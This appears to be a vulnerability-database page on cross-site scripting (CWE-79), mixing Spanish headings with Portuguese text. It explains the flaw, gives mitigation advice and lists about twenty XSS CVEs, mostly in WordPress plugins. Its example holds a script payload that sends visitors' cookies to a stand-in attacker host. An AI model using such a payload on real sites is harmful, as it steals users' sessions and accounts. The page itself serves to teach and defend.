Fallos del tipo CWE-79

30.065 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-13179MEDIUMWP Maps <= 4.9.8 - Authenticated (Subscriber+) Stored Cross-Site Scripting via shapes_values ParameterEPSS 0.3%CVE-2024-8989MEDIUMStars Testimonials <= 3.3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via stars_testimonials ShortcodeEPSS 0.3%CVE-2025-5724MEDIUMSourceCodester Student Result Management System Subjects Page subjects cross site scriptingEPSS 0.3%CVE-2024-4980MEDIUMWPKoi Templates for Elementor <= 2.5.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple ParametersEPSS 0.3%CVE-2026-30235MEDIUMBusiness Logic Error on OpenProject through hyperlinks in markdown using DOM clobberingEPSS 0.3%CVE-2026-115534MEDIUMgedelumbung HospitalManagement Contact Form contact.php kirim cross site scriptingEPSS 0.3%CVE-2025-6131MEDIUMCodeAstro Food Ordering System POST Request Parameter edit cross site scriptingEPSS 0.3%CVE-2024-9165MEDIUMGift Cards (Gift Vouchers and Packages) (WooCommerce Supported) <= 4.4.4 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-6539MEDIUMheyewei SpringBootCMS Guestbook guestbook cross site scriptingEPSS 0.3%CVE-2023-5771MEDIUMHTML injection in AdminUI through email subjectEPSS 0.3%CVE-2021-25656MEDIUMAvaya Aura Experience Portal XSS vulnerabilitiesEPSS 0.3%CVE-2024-5205MEDIUMVideojs HTML5 Player <= 1.1.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via videojs_video ShortcodeEPSS 0.3%CVE-2024-27997MEDIUMWordPress Visual Composer plugin <= 45.6.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-3639MEDIUMElementor Addons by Livemesh <= 8.3.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Posts GridEPSS 0.3%CVE-2026-50742MEDIUMA stored XSS vulnerabilities exists in the `maintenance-acl-check.php` and `maintenance-banners-check.php` tools of Revive Adserver 6.0.7. TEPSS 0.3%CVE-2024-8433MEDIUMEasy Mega Menu Plugin for WordPress – ThemeHunk <= 1.1.0 - Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-32573MEDIUMWordPress WP-Lister Lite for eBay plugin <=3.5.11 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-8919MEDIUMConfetti Fall Animation <= 1.3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via confetti-fall-animation ShortcodeEPSS 0.3%CVE-2023-4839MEDIUMWP Go Maps <= 9.0.32 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-9543MEDIUMPowerpress <= 11.9.18 - Authenticated (Contributor+) Stored Cross-Site Scripting via skipto ShortcodeEPSS 0.3%